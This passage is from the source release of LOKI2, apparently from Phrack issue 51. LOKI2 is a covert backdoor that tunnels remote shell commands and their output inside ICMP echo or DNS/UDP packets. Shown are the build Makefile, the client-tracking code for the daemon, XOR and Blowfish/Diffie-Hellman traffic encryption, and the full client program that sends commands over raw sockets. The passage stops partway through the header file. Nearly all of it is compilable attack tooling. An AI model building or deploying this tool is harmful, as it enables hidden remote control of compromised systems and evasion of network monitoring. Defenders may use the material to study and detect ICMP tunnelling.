    Extra Special Thanks to OPii <opii@dhp.com> for pioneering this concept and
    technique.


----------------------[  THE SOURCE
    
    Whelp, here it is.  Extract the code from the article using one of the 
included extraction utilities.  

<++> L2/Makefile
# Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997 
# route (c) 1997 Guild Corporation, Worldwide


######
#   Choose a cryptography type
#

CRYPTO_TYPE 		=   WEAK_CRYPTO         # XOR
#CRYPTO_TYPE 		=   NO_CRYPTO           # Plaintext
#CRYPTO_TYPE 		=   STRONG_CRYPTO       # Blowfish and DH


######
#   If you want STRONG_CRYPTO, uncomment the following (and make sure you have
#   SSLeay)

#LIB_CRYPTO_PATH 	=   /usr/local/ssl/lib/
#CLIB             	=   -L$(LIB_CRYPTO_PATH) -lcrypto
#MD5_OBJ          	=   md5/md5c.o


######
#   Choose a child process handler type
#

SPAWN_TYPE       	=   POPEN 
#SPAWN_TYPE      	=   PTY


######
#   It is safe to leave this alone.
#

NET3       	        =   #-DNET3
SEND_PAUSE       	=   SEND_PAUSE=100 
DEBUG                   =   #-DDEBUG
#----------------------------------------------------------------------------#


i_hear_a_voice_from_the_back_of_the_room:
	@echo 
	@echo "LOKI2 Makefile"
	@echo "Edit the Makefile and then invoke with one of the following:"
	@echo 
	@echo "linux openbsd freebsd solaris    clean"
	@echo 
	@echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
	@echo 

linux:
	@make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE)                       \
	SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
	FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all

openbsd:
	@make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE)                        \
	SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
	FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all

freebsd:
	@make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE)                        \
	SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
	FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all

solaris:
	@make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE)                     \
	SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
	LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all

CFLAGS		= -Wall -O6 -finline-functions -funroll-all-loops $(OS)     \
		$(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK)    \
		$(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3)

CC		=   gcc
C_OBJS	        =   surplus.o crypt.o
S_OBJS	        =   client_db.o shm.o surplus.o crypt.o pty.o


.c.o:
	$(CC) $(CFLAGS) -c $< -o $@

all:	$(MD5_OBJ) loki

md5obj: md5/md5c.c
	@( cd md5; make )

loki:	$(C_OBJS) loki.o $(S_OBJS) lokid.o
	$(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
	$(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
	@(strip loki lokid)

clean:
	@( rm -fr *.o loki lokid )
	@( cd md5; make clean )

dist:	clean
	@( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar )
<--> Makefile
<++> L2/client_db.c
/*
 * LOKI2
 *
 * [ client_db.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"
#include "shm.h"
#include "client_db.h"

extern struct loki rdg;
extern int verbose;
extern int destroy_shm;
extern struct client_list *client;
extern u_short c_id;

#ifdef  STRONG_CRYPTO
extern short ivec_salt;
extern u_char user_key[BF_KEYSIZE];
#endif
#ifdef  PTY
extern int mfd;
#endif
       
/*
 *  The server maintains an array of active client information.  This
 *  function simply steps through the structure array and attempts to add
 *  an entry.
 */

int add_client(u_char *key)
{
    int i = 0, emptyslot = -1;                                    
#ifdef  PTY
    char p_name[BUFSIZE] = {0};
#endif

    locks();
    for (; i < MAX_CLIENT; i++)
    {
        if (IS_GOOD_CLIENT(rdg))
        {                               /* Check for duplicate entries 
                                         * (which are to be expected when
                                         * not using STRONG_CRYPTO)
                                         */
#ifdef STRONG_CRYPTO
            if (verbose) fprintf(stderr, S_MSG_DUP);
#endif
            emptyslot = i;
            break;
        }                               /* tag the first empty slot found */
        if ((!(client[i].client_id))) emptyslot = i;
    }
    if (emptyslot == -1)
    {                                   /* No empty array slots */
        if (verbose) fprintf(stderr, "\nlokid: Client database full");
        ulocks();
        return (NNOK);
    }
                                        /* Initialize array with client info */
    client[emptyslot].touchtime         = time((time_t *)NULL);
    if (emptyslot != i){
        client[emptyslot].client_id     = c_id;
        client[emptyslot].client_ip     = rdg.iph.ip_src;
        client[emptyslot].packets_sent  = 0;
        client[emptyslot].bytes_sent    = 0;
        client[emptyslot].hits          = 0;
#ifdef  PTY
        client[emptyslot].pty_fd        = 0;
#endif
    }
#ifdef  STRONG_CRYPTO
                                        /* copy unset bf key and set salt */
    bcopy(key, client[emptyslot].key, BF_KEYSIZE);
    client[emptyslot].ivec_salt         = 0;
#endif
    ulocks();
    return (emptyslot);
}                


/*
 *  Look for a client entry in the client database.  Either copy the clients
 *  key into user_key and update timestamp, or clear the array entry,
 *  depending on the disposition of the call.
 */

int locate_client(int disposition)
{
    int i = 0;

    locks();
    for (; i < MAX_CLIENT; i++)
    {
        if (IS_GOOD_CLIENT(rdg))
        {
            if (disposition == FIND)    /* update timestamp */
            {
                client[i].touchtime = time((time_t *)NULL);
#ifdef STRONG_CRYPTO
                                        /* Grab the key */
                bcopy(client[i].key, user_key, BF_KEYSIZE);
#endif
            }  
                                        /* Remove entry */
            else if (disposition == DESTROY)
                bzero(&client[i], sizeof(client[i]));
            ulocks();
            return (i);
        }
    }
    ulocks();                           /* Didn't find the client */
    return (NNOK);
}


/*
 *  Fill a string with current stats about a particular client.
 */

int stat_client(int entry, u_char *buf, int prot, time_t uptime)
{

    int n = 0;
    time_t now = 0;
    struct protoent *proto = 0;  
                                        /* locate_client didn't find an 
                                         * entry
                                         */
    if (entry == NNOK)
    {
 fprintf(stderr, "DEBUG: stat_client nono\n");
        return (NOK);
    }
    n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION);
    n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst));

    proto = getprotobynumber(prot);
    n += sprintf(&buf[n], "active transport:\t%s\n", proto -> p_name);
    n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE);
    time(&now);
    n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x3c);
                                                               
    locks();
    n += sprintf(&buf[n], "client ID:\t\t%d\n",      client[entry].client_id);
    n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent);
    n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent);
    n += sprintf(&buf[n], "requests:\t\t%d\n",       client[entry].hits);
    ulocks();
    
    return (n);
}

/*
 *  Unsets alarm timer, then calls age_client, then resets signal handler
 *  and alarm timer.
 */

void client_expiry_check(){

    alarm(0);
    age_client();
                                            /* re-establish signal handler */
    if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
        err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM");

    alarm(KEY_TIMER);
}
     

/*
 *  This function is called every KEY_TIMER interval to sweep through the 
 *  client list.  It zeros any entrys it finds that have not been accessed
 *  in KEY_TIMER seconds.  This gives us a way to free up entries from clients 
 *  which may have crashed or lost their QUIT_C packet in transit.
 */

void age_client()
{

    time_t timestamp = 0;
    int i = 0;

    time(&timestamp); 
    locks();
    for (; i < MAX_CLIENT; i++)
    {
        if (client[i].client_id)
        {
            if (difftime(timestamp, client[i].touchtime) > KEY_TIMER)
            {
                if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from list [%d]\n", client[i].client_id, i);
                bzero(&client[i], sizeof(client[i]));
#ifdef STRONG_CRYPTO
                ivec_salt = 0;
#endif
            }
        }
    }
    ulocks();
}


/*
 *  Update the statistics for client.
 */

void update_client(int entry, int pcount, u_long bcount)
{
    locks();
    client[entry].touchtime      = time((time_t *)NULL);
    client[entry].packets_sent  += pcount; 
    client[entry].bytes_sent    += bcount;
    client[entry].hits          ++;
    ulocks();
}


/*
 *  Returns the IP address and ID of the targeted entry
 */

u_long check_client_ip(int entry, u_short *id)
{
    u_long ip = 0;

    locks();
    if ((*id = (client[entry].client_id))) ip = client[entry].client_ip;
    ulocks();
    
    return (ip);
}

#ifdef STRONG_CRYPTO

/*
 *  Update and return the IV salt for the client
 */

u_short update_client_salt(int entry)
{

    u_short salt = 0;

    locks();
    salt = ++client[entry].ivec_salt;
    ulocks();

    return (salt);
}    

#endif  /* STRONG_CRYPTO */


/* EOF */
<--> client_db.c
<++> L2/client_db.h
/*
 * LOKI
 *
 * client_db header file
 *
 *  1996/7 Guild Corporation Productions    [daemon9]
 */
 

/*
 *  Client info list.  
 *  MAX_CLIENT of these will be kept in a server-side array
 */

struct client_list
{
#ifdef  STRONG_CRYPTO
    u_char key[BF_KEYSIZE];             /* unset bf key                     */
    u_short ivec_salt;                  /* the IV salter                    */
#endif
    u_short client_id;                  /* client loki_id                   */
    u_long client_ip;                   /* client IP address                */
    time_t  touchtime;                  /* last time entry was hit          */
    u_long packets_sent;                /* Packets sent to this client      */
    u_long bytes_sent;                  /* Bytes sent to this client        */
    u_int hits;                         /* Number of queries from client    */
#ifdef  PTY
    int pty_fd;                         /* Master PTY file descriptor       */
#endif
};

#define IS_GOOD_CLIENT(ldg)\
\
(c_id           == client[i].client_id   &&  \
 ldg.iph.ip_src == client[i].client_ip)  >   \
                             (0) ? (1) : (0) \

void update_client(int, int, u_long);   /* Update a client entry            */
                                        /* client info into supplied buffer */
int stat_client(int, u_char *, int, time_t);
int add_client(u_char *);               /* add a client entry               */
int locate_client(int);                 /* find a client entry              */
void age_client(void);                  /* age a client from the list       */
u_short update_client_salt(int);        /* update and return salt           */
u_long check_client_ip(int, u_short *); /* return ip and id of target       */
<--> client_db.h
<++> L2/crypt.c
/*
 * LOKI2
 *
 * [ crypt.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */
 

#include "loki.h"
#include "crypt.h"
#include "md5/global.h"
#include "md5/md5.h"

#ifdef STRONG_CRYPTO
u_char user_key[BF_KEYSIZE];                /* unset blowfish key */
BF_KEY bf_key;                              /* set key */
volatile u_short ivec_salt = 0;           


/*
 *  Blowfish in cipher-feedback mode.  This implements blowfish (a symmetric 
 *  cipher) as a self-synchronizing stream cipher.  The initialization 
 *  vector (the initial dummy cipher-text block used to seed the encryption)
 *  need not be secret, but it must be unique for each encryption.  I fill
 *  the ivec[] array with every 3rd key byte incremented linear-like via
 *  a global encryption counter (which must be synced in both client and
 *  server).
 */

void blur(int m, int bs, u_char *t)
{

    int i = 0, j = 0, num      = 0;
    u_char ivec[IVEC_SIZE + 1] = {0};       

    for (; i < BF_KEYSIZE; i += 3)         /* fill in IV */
        ivec[j++] = (user_key[i] + (u_char)ivec_salt);     
    BF_cfb64_encrypt(t, t, (long)(BUFSIZE - 1), &bf_key, ivec, &num, m);
}


/*
 *  Generate DH keypair.
 */

DH* generate_dh_keypair()
{

    DH *dh = NULL;
                                        /* Initialize the DH structure */
    dh = DH_new();
                                        /* Convert the prime into BIGNUM */
    (BIGNUM *)(dh -> p) = BN_bin2bn(modulus, sizeof(modulus), NULL);
                                        /* Create a new BIGNUM */
    (BIGNUM *)(dh -> g) = BN_new();
                                        /* Set the DH generator */
    BN_set_word((BIGNUM *)(dh -> g), DH_GENERATOR_5);
                                        /* Generate the key pair */
    if (!DH_generate_key(dh)) return ((DH *)NULL);

    return(dh);
}


/*
 *  Extract blowfish key from the DH shared secret.  A simple MD5 hash is
 *  perfect as it will return the 16-bytes we want, and obscure any possible
 *  redundancies or key-bit leaks in the DH shared secret.
 */


u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf)
{

    u_char digest[MD5_HASHSIZE]; 
    unsigned len = BN2BIN_SIZE; 
    MD5_CTX context; 
                                        /* initialize MD5 (loads magic context
                                         * constants)
                                         */
    MD5Init(&context);
                                        /* MD5 hashing */
    MD5Update(&context, dh_shared_secret, len);
                                        /* clean up of MD5 */
    MD5Final(digest, &context);
    bcopy(digest, user_key, BF_KEYSIZE);
                                        /* In the server we dunot set the key 
                                         * right away; they are set when they
                                         * are nabbed from the client list.
                                         */
    if (set_bf == OK)
    { 
        BF_set_key(&bf_key, BF_KEYSIZE, user_key);
        return ((u_char *)NULL);
    }
    else return (strdup(user_key));
}
#endif
#ifdef WEAK_CRYPTO

/*
 *  Simple XOR obfuscation.
 *
 *  ( Syko was right -- the following didn't work under certain compilation 
 *  environments...  Never write code in which the order of evaluation defines
 *  the result.  See K&R page 53, at the bottom... )
 *
 *  if (!m) while (i < bs) t[i] ^= t[i++ +1];
 *  else
 *  {
 *      i = bs;
 *      while (i) t[i - 1] ^= t[i--];
 *  }
 * 
 */

void blur(int m, int bs, u_char *t)
{

    int i = 0;

    if (!m)
    {                           /* Encrypt */
        while (i < bs)
        {
            t[i] ^= t[i + 1];
            i++;
        }
    }
    else
    {                           /* Decrypt */
        i = bs;
        while (i)
        {
            t[i - 1] ^= t[i];
            i--;
        }
    }
}

#endif
#ifdef NO_CRYPTO

/*
 *  No encryption
 */

void blur(int m, int bs, u_char *t){}

#endif

/* EOF */
<--> crypt.c
<++> L2/crypt.h
/*
 * LOKI
 *
 * crypt header file
 *
 *  1996/7 Guild Corporation Productions    [daemon9]
 */
 

#ifdef STRONG_CRYPTO
/* 384-bit strong prime */

u_char modulus[] = 
{

0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A,
0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49,
0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14,
0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3,

};
#endif
<--> crypt.h
<++> L2/loki.c
/*
 * LOKI2
 *
 * [ loki.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"

jmp_buf env;
struct loki sdg, rdg;
int verbose     = OK, cflags = 0, ripsock = 0, tsock = 0;
u_long p_read   = 0;                    /* packets read */


#ifdef  STRONG_CRYPTO
DH *dh_keypair = NULL;                  /* DH public and private keypair */
extern u_short ivec_salt;
#endif
 

int main(int argc, char *argv[])
{

    static int prot         = IPPROTO_ICMP, one = 1, c = 0;
#ifdef  STRONG_CRYPTO
    static int established  = 0, retran = 0;
#endif
    static u_short loki_id  = 0;
    int timer               = MIN_TIMEOUT;
    u_char buf[BUFSIZE]     = {0};
    struct protoent *pprot  = 0;
    struct sockaddr_in sin;
                                        /* Ensure we have proper permissions */
    if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV);
    loki_id = getpid();                 /* Allows us to individualize each  
                                         * same protocol loki client session
                                         * on a given host.  
                                         */
    bzero((struct sockaddr_in *)&sin, sizeof(sin));
    while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF)
    {
        switch (c)
        {
            case 'v':                   /* change verbosity */
                verbose = atoi(optarg);
                break;

            case 'd':                   /* destination address of daemon */
                strncpy(buf, optarg, BUFSIZE - 1);
                sin.sin_family      = AF_INET;
                sin.sin_addr.s_addr = name_resolve(buf);                 
                break;

            case 't':                   /* change alarm timer */
                if ((timer = atoi(optarg)) < MIN_TIMEOUT)
                     err_exit(1, 0, 1, "Invalid timeout.\n");
                break;
                                        
            case 'p':                   /* select transport protocol */
                switch (optarg[0])
                {
                    case 'i':           /* ICMP_ECHO / ICMP_ECHOREPLY */
                        prot = IPPROTO_ICMP;
                        break;

                    case 'u':           /* DNS query / reply */
                        prot = IPPROTO_UDP;
                        break;

                    default:
                        err_exit(1, 0, verbose, "Unknown transport.\n");
                }
                break;
 
            default:
                err_exit(0, 0, 1, C_MSG_USAGE);
        }
    }
                                        /* we need a destination address */
    if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE);
    if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
        err_exit(1, 1, 1, L_MSG_SOCKET);

#ifdef  STRONG_CRYPTO                   /* ICMP only with strong crypto */
    if (prot != IPPROTO_ICMP) err_exit(0, 0, verbose, L_MSG_ICMPONLY);
#endif
                                        /* Raw socket to build packets */
    if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
         err_exit(1, 1, verbose, L_MSG_SOCKET);
#ifdef  DEBUG
    fprintf(stderr, "\nRaw IP socket: ");
    fd_status(ripsock, OK);
#endif

#ifdef  IP_HDRINCL
    if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
        if (verbose) perror("Cannot set IP_HDRINCL socket option");
#endif
                                        /* register packet dumping function
                                         * to be called upon exit 
                                         */
    if (atexit(packets_read) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
 
    fprintf(stderr, L_MSG_BANNER);
    for (; ;)
    {
#ifdef  STRONG_CRYPTO
                                        /* Key negotiation phase.  Before we
                                         * can do anything, we need to share 
                                         * a secret with the server.  This
                                         * is our key management phase.  
                                         * After this is done, we are 
                                         * established.  We try MAX_RETRAN 
                                         * times to contact a  server.
                                         */
        if (!established)
        {                                    
                                        /* Generate the DH parameters and public
                                         * and private keypair
                                         */
            if (!dh_keypair)
            {
                if (verbose) fprintf(stderr, "\nloki: %s", L_MSG_DHKEYGEN);
                if (!(dh_keypair = generate_dh_keypair()))
                    err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
            }
            if (verbose) fprintf(stderr, "\nloki: submiting our public key to server");
                                        /* convert the BIGNUM public key
                                         * into a big endian byte string
                                         */
            bzero((u_char *)buf, BUFSIZE);
            BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf);
                                        /* Submit our key and request to
                                         * the server (in one packet)
                                         */
            if (verbose) fprintf(stderr, C_MSG_PKREQ);
            loki_xmit(buf, loki_id, prot, sin, L_PK_REQ);
        }
        else
        {
#endif
            bzero((u_char *)buf, BUFSIZE);
            fprintf(stderr, PROMPT);        /* prompt user for input */
            read(STDIN_FILENO, buf, BUFSIZE - 1);
            buf[strlen(buf)] = 0;
                                            /* Nothing to parse */
            if (buf[0] == '\n') continue;   /* Escaped command */
            if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;
                                        /* Send request to server */
            loki_xmit(buf, loki_id, prot, sin, L_REQ);
#ifdef  STRONG_CRYPTO
        }
#endif
                                        /* change transports */
        if (cflags & NEWTRANS)
        {
            close(tsock);
            prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
            if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
                 err_exit(1, 1, verbose, L_MSG_SOCKET);

            pprot = getprotobynumber(prot);
            if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name);
            cflags &= ~NEWTRANS;
            continue;
        }
        if (cflags & TERMINATE)         /* client should exit */
        {
            fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n");  
            clean_exit(0);
        }
                                        /* Clear TRAP and VALID PACKET flags */
        cflags &= (~TRAP & ~VALIDP);    
                                        /* set alarm singal handler */
        if (signal(SIGALRM, catch_timeout) == SIG_ERR)
            err_exit(1, 1, verbose, L_MSG_SIGALRM);
                                        /* returns true if we land here as the 
                                         * result of a longjmp() -- IOW the 
                                         * alarm timer went off
                                         */
        if (setjmp(env))
        {
            fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT);
            cflags |= TRAP;
#ifdef  STRONG_CRYPTO
            if (!established)           /* No connection established yet */
                if (++retran == MAX_RETRAN) err_exit(1, 0, verbose, "[fatal] cannot contact server.  Giving up.\n");
                else if (verbose) fprintf(stderr, "Resending...\n");
#endif
        }
        while (!(cflags & TRAP))
        {                               /* TRAP will not be set unless the 
                                         * alarm timer expires or we get
                                         * an EOT packet 
                                         */
           alarm(timer);                /* block until alarm or read */

           if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0)
                perror("[non fatal] network read error"); 

            switch (prot)
            {                           /* Is this a valid Loki packet? */
                case IPPROTO_ICMP:
                    if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP;
                    break;

                case IPPROTO_UDP:
                    if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP;
                    break;

                default:
                    err_exit(1, 0, verbose, L_MSG_WIERDERR);
            }
            if (cflags & VALIDP)
            {
#ifdef  DEBUG
        fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c);
        PACKET_TYPE(rdg);
        DUMP_PACKET(rdg, c);
#endif
                                        /* we have a valid packet and can
                                         * turn off the alarm timer
                                         */
                alarm(0);
                switch (rdg.payload[0]) /* determine packet type */
                {
                    case L_REPLY :      /* standard reply packet */
                        bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
                        blur(DECR, BUFSIZE - 1, buf);
#ifndef DEBUG
                        fprintf(stderr, "%s", buf);
#endif
                        p_read++;
                        break;

                    case L_EOT :        /* end of transmission packet */
                        cflags |= TRAP;
                        p_read++;
                        break;

                    case L_ERR :        /* error msg packet (not encrypted) */
                        bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
                        fprintf(stderr, "%s", buf);
#ifdef  STRONG_CRYPTO
                                        /* If the connection is not established
                                         * we exit upon receipt of an error
                                         */
                        if (!established) clean_exit(1);
#endif
                        break;
#ifdef  STRONG_CRYPTO
                    case L_PK_REPLY :   /* public-key receipt */
                        if (verbose) fprintf(stderr, C_MSG_PKREC);
                                        /* compute DH key parameters */
                        DH_compute_key(buf, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
                                        /* extract blowfish key from the
                                         * DH shared secret.  
                                         */
                        if (verbose) fprintf(stderr, C_MSG_SKSET);
                        extract_bf_key(buf, OK);
                        established = OK;
                        break;
#endif
                    case L_QUIT:        /* termination directive packet */
                        fprintf(stderr, C_MSG_MUSTQUIT);
                        clean_exit(0);

                    default :
                        fprintf(stderr, "\nUnknown LOKI packet type");
                        break;
                }
                cflags &= ~VALIDP;      /* reset VALID PACKET flag */
            }
        }
    }
    return (0);
}


/*
 *  Build and transmit Loki packets (client version)
 */

void loki_xmit(u_char *payload, u_short loki_id, int prot, struct sockaddr_in sin, int ptype)
{

    bzero((struct loki *)&sdg, LOKIP_SIZE);
                                        /* Encrypt and load payload, unless
                                         * we are doing key management
                                         */
    if (ptype != L_PK_REQ)
    {
#ifdef  STRONG_CRYPTO
        ivec_salt++;
#endif
        blur(ENCR, BUFSIZE - 1, payload);
    }
    bcopy(payload, &sdg.payload[1], BUFSIZE - 1);

    if (prot == IPPROTO_ICMP)
    {
#ifdef  NET3                                            /* Our workaround. */
        sdg.ttype.icmph.icmp_type   = ICMP_ECHOREPLY;
#else
        sdg.ttype.icmph.icmp_type   = ICMP_ECHO;
#endif
        sdg.ttype.icmph.icmp_code   = (int)NULL;
        sdg.ttype.icmph.icmp_id     = loki_id;          /* Session ID */
        sdg.ttype.icmph.icmp_seq    = L_TAG;            /* Loki ID */
        sdg.payload[0]              = ptype;
        sdg.ttype.icmph.icmp_cksum  = 
             i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
    }
    if (prot == IPPROTO_UDP)
    {
        sdg.ttype.udph.uh_sport     = loki_id;
        sdg.ttype.udph.uh_dport     = NL_PORT;
        sdg.ttype.udph.uh_ulen      = htons(UDPH_SIZE + BUFSIZE);
        sdg.payload[0]              = ptype;
        sdg.ttype.udph.uh_sum       = 
             i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
    }
    sdg.iph.ip_v    = 0x4;
    sdg.iph.ip_hl   = 0x5;
    sdg.iph.ip_len  = FIX_LEN(LOKIP_SIZE);
    sdg.iph.ip_ttl  = 0x40;
    sdg.iph.ip_p    = prot;
    sdg.iph.ip_dst  = sin.sin_addr.s_addr;
    
    if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE))
    {
        if (verbose) perror("[non fatal] truncated write");
    }
}


/*
 *  help is here
 */

void help()
{

    fprintf(stderr,"
    %s\t\t-  you are here
    %s xx\t\t-  change alarm timeout to xx seconds (minimum of %d)
    %s\t\t-  query loki server for client statistics 
    %s\t\t-  query loki server for all client statistics 
    %s\t\t-  swap the transport protocol ( UDP <-> ICMP ) [in beta]
    %s\t\t-  quit the client
    %s\t\t-  quit this client and kill all other clients (and the server)
    %s dest\t\t-  proxy to another server    [ UNIMPLIMENTED ]
    %s dest\t-  redirect to another client [ UNIMPLIMENTED ]\n",

    HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C);
}


/*
 *  parse escaped commands
 */

int c_parse(u_char *buf, int *timer)
{

    cflags &= ~VALIDC;
                                        /* help */
    if (!strncmp(buf, HELP, sizeof(HELP) - 1) || buf[1] == '?')
    {
        help();
        return (NOK);
    }
                                        /* change alarm timer */
    else if (!strncmp(buf, TIMER, sizeof(TIMER) - 1))
    {
        cflags |= VALIDC;
        (*timer) = atoi(&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi(&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT;
        fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer);
        return (NOK);
    }
                                        /* Quit client, send notice to server */
    else if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
        cflags |= (TERMINATE | VALIDC);
                                        /* Quit client, send kill to server */
    else if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
        cflags |= (TERMINATE | VALIDC);
                                        /* Request server-side statistics */
    else if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
        cflags |= VALIDC;
                                        /* Swap transport protocols */
    else if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
    {
                                        /* When using strong crypto we do not
                                         * want to swap protocols.
                                         */
#ifdef  STRONG_CRYPTO
        fprintf(stderr, C_MSG_NOSWAP);
        return (NOK);
#elif   !(__linux__)
        fprintf(stderr, "\nloki: protocol swapping only supported in Linux\n");
        return (NOK);
#else
        cflags |= (NEWTRANS | VALIDC);
#endif

    }
                                        /* Request server to redirect output
                                         * to another LOKI client 
                                         */ 
    else if (!strncmp(buf, REDIR_C, sizeof(REDIR_C) - 1))
        cflags |= (REDIRECT | VALIDC);        
                                        /* Request server to simply proxy 
                                         * requests to another LOKI server
                                         */   
    else if (!strncmp(buf, PROXY_D, sizeof(PROXY_D) - 1))
        cflags |= (PROXY | VALIDC);        

                                        /* Bad command trap */
    if (!(cflags & VALIDC))
    {
        fprintf(stderr, "Unrecognized command %s\n",buf);
        return (NOK);
    }

    return (OK);  
}


/*
 *  Dumps packets read by client... 
 */

void packets_read()
{
    fprintf(stderr, "Packets read: %ld\n", p_read);
}

/* EOF */
<--> loki.c
<++> L2/loki.h
#ifndef  __LOKI_H__
#define  __LOKI_H__     

/*
 * LOKI
 *
 * loki header file
 *
 *  1996/7 Guild Corporation Productions    [daemon9]
 */
 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <pwd.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <time.h>
#include <grp.h>
#include <termios.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <setjmp.h>

#ifdef LINUX
#include <linux/icmp.h>
#include <linux/ip.h>
#include <linux/signal.h>
                                    /* BSDish nomenclature */
#define ip          iphdr
#define ip_v        version
#define ip_hl       ihl
#define ip_len      tot_len
#define ip_ttl      ttl
#define ip_p        protocol
#define ip_dst      daddr
#define ip_src      saddr
#endif

#ifdef BSD4 
#include <netinet/in_systm.h>
#include <netinet/ip_var.h>
#include <netinet/ip.h> 
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <netinet/ip_icmp.h>
#include <netinet/icmp_var.h>
#include <sys/sockio.h>
#include <sys/termios.h>
#include <sys/signal.h>

#undef  icmp_id
#undef  icmp_seq
#define ip_dst      ip_dst.s_addr
#define ip_src      ip_src.s_addr
#endif

#ifdef SOLARIS
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip_var.h>
#include <netinet/ip.h> 
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <netinet/ip_icmp.h>
#include <netinet/icmp_var.h>
#include <sys/sockio.h>
#include <sys/termios.h>
#include <sys/signal.h>
#include <strings.h>
#include <unistd.h> 

#undef  icmp_id
#undef  icmp_seq
#define ip_dst      ip_dst.s_addr
#define ip_src      ip_src.s_addr
#endif

#ifdef BROKEN_IP_LEN 
#define FIX_LEN(n)  (x)         /* FreeBSD needs this  */
#else
#define FIX_LEN(n)  htons(n)
#endif


/*
 *  Net/3 will not pass ICMP_ECHO packets to user processes. 
 */

#ifdef NET3
